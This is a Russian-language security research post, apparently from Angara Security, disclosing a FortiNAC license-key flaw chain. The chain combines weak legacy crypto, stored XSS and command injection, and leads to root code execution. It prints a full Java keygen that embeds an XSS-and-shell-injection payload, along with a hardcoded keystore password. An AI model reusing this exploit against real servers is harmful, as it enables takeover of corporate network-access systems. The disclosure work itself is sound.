Илья Поляков,@e_liu_ha, руководитель отдела анализа кода Angara Security, рассказал, как удалось выявить важную уязвимость в 6 версиях линейки FortiNAC для аутентификации пользователей по протоколу 802.1X и получить премию Pentest Awards в категории Bypass.
Эта история началась в январе 2023 года, когда мы исследовали приложение FortiNAC и нашли цепочку дефектов и уязвимостей: облегчающую реверсинг дебаговую информацию в скомпилированных классах Java, слабую криптографию, хранимую XSS и инъекцию команд, позволяющие создать генератор лицензионных ключей, которые после активации выполняют произвольный код от имени суперпользователя на сервере приложения.
Почему FortiNAC? Потому что это одна из самых популярных в мире энтерпрайза систем контроля сетевого доступа (Network Access Control, NAC). Основная задача подобных продуктов — обнаруживать и профилировать любые устройства, которые подключаются к корпоративной инфраструктуре.
Исследование и эксплуатация
Началось всё с декомпиляции Java-классов приложения, что позволило получить фактически исходный код (разве что без комментариев), в том числе имена локальных переменных, благодаря любезно оставленной при компиляции отладочной информации. Код, написанный на Java Server Pages, декомпиляции, разумеется, не требовал.
Я проанализировал механизм проверки лицензионных ключей и нашел легаси‑функцию. Она проверяет ключи в старом формате, основанном на уязвимой к реверсингу самописной симметричной криптографии.
Заодно удалось найти возможность инъекции команд через текст ключа, а также ознакомиться с комментариями разработчиков про то, как им приходится подстраиваться под бесправность системной учётной записи tomcat (которая, впрочем, вполне себе может исполнять sudo):
Серийный номер задается произвольной строкой внутри ключа, а это открывает возможность для эксплуатации хранимой XSS на сайте приложения.
Получился вот такой генератор лицензионных ключей с полезной нагрузкой:
import com.bsc.license.LicenseDecoder;
import com.bsc.license.FortiNACLicense;
import com.bsc.license.FortiNACType;
import com.bsc.util.EncodeDecode;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.IOException;
import java.io.FileWriter;
public class inject {
static String pack(String s) {
int l = s.length();
return String.valueOf(String.valueOf(l).length()) + String.valueOf(l) + s;
}
static String key(FortiNACLicense l, String html) {
return EncodeDecode.encodeString(
pack(String.valueOf(l.getDaysValid()*24L*3600L*1000L)) +
pack(String.valueOf(l.getConcurrentClientCount())) +
pack("java.util.ArrayList") + pack("") + // Plugins
pack(l.getEth0MAC().toString()) +
pack(l.getType().getFullName()) +
pack("") + // Vendor
pack("1.8") + // Version
pack("java.util.ArrayList") + pack("") + // Options
pack(l.getSystemUUID().toString()) +
pack(String.valueOf(l.getUSG())) + // Not really USG, but anyways
pack(l.getSKU()) +
pack(l.getModelName()) +
pack("false") + // Expired
pack("1") + // rtrCount
pack(l.getName().toString()) +
pack(l.getSerial().toString() + html) +
pack(String.valueOf(l.getGeneratedDate().toEpochMilli()))
);
}
public static void main(String[] args) throws IOException {
String payload = new String(Files.readAllBytes(Paths.get(".", "payload.sh")));
System.setProperty("javax.net.ssl.keyStorePassword", "^8Bradford%23");
LicenseDecoder ld = new LicenseDecoder();
FortiNACLicense l = ld.decode((new String(Files.readAllBytes(Paths.get(".", "input.lic")))).replaceAll("(\\r|\\n)", "")); System.out.println(l);
FileWriter output = new FileWriter("output.lic");
output.write(
key(
l,
"<img src='nowhere' onerror="var IP=$('licenseServerCombo').value.split(/ -- /)[0];" +
"CommonUtils.dataRequest('LicenseActions.jsp',{},
{action:'ajaxApplyLicense',deviceProxy:IP,deviceIP:IP,thisIP:'0'+IP,newLicense:'" +
key(l, "") + ";" + payload + "'});"/>"
)
);
output.close();
}
}
Забавно, что легаси-формат ключей очень лаконичен по сравнению с современным, что позволяет заразить ключ почти 8-килобайтной малварью без увеличения его длины!
Fortinet зарегистрировали и исправили (честно говоря, не проверял) уязвимость (сайт не открывается с российского IP-адреса). Оценку критичности в 5.9 баллов можно объяснить только введением CVSS-потолка для Русских Хакеров™:
Также данный квест занял 4-ое место в номинации Bypass первой в России премии для специалистов по тестированию на проникновение Pentest Award.
Выводы
После ухода Fortinet из России, внешний злоумышленник мог воспользоваться тем, что российские компании нуждаются в продлении лицензии на FortiNAC. Разместив в интернете кейгены, которые создавали бы «троянизированные» лицензионные ключи, он захватил бы серверы жертв.
Ну, а мы как эксперты рекомендуем следующее:
Fortninet подтвердила уязвимости 6 версий: FortiNAC-F (версия 7.2.0), FortiNAC (версии 9.4.0 – 9.4.2.), все версии ПО FortiNAC 9.2, 9.1, 8.8, 8.7. Поэтому проверьте, какие версии FortiNAC использует ваша компания.
Если есть возможность, получите патчи от вендора и проверьте обновление ПО на тестовом стенде.
Из-за политических рисков обновление доступно далеко не всем российским клиентам. Поэтому, как вариант, лучше установить отечественное ПО EFROS ACS, которое обладает полным функционалом для разграничения сетевого доступа.
И главное: используйте только официальные доверенные кейгены с открытым исходным кодом программные продукты, разработанные строго в рамках лучших практик DevSecOps!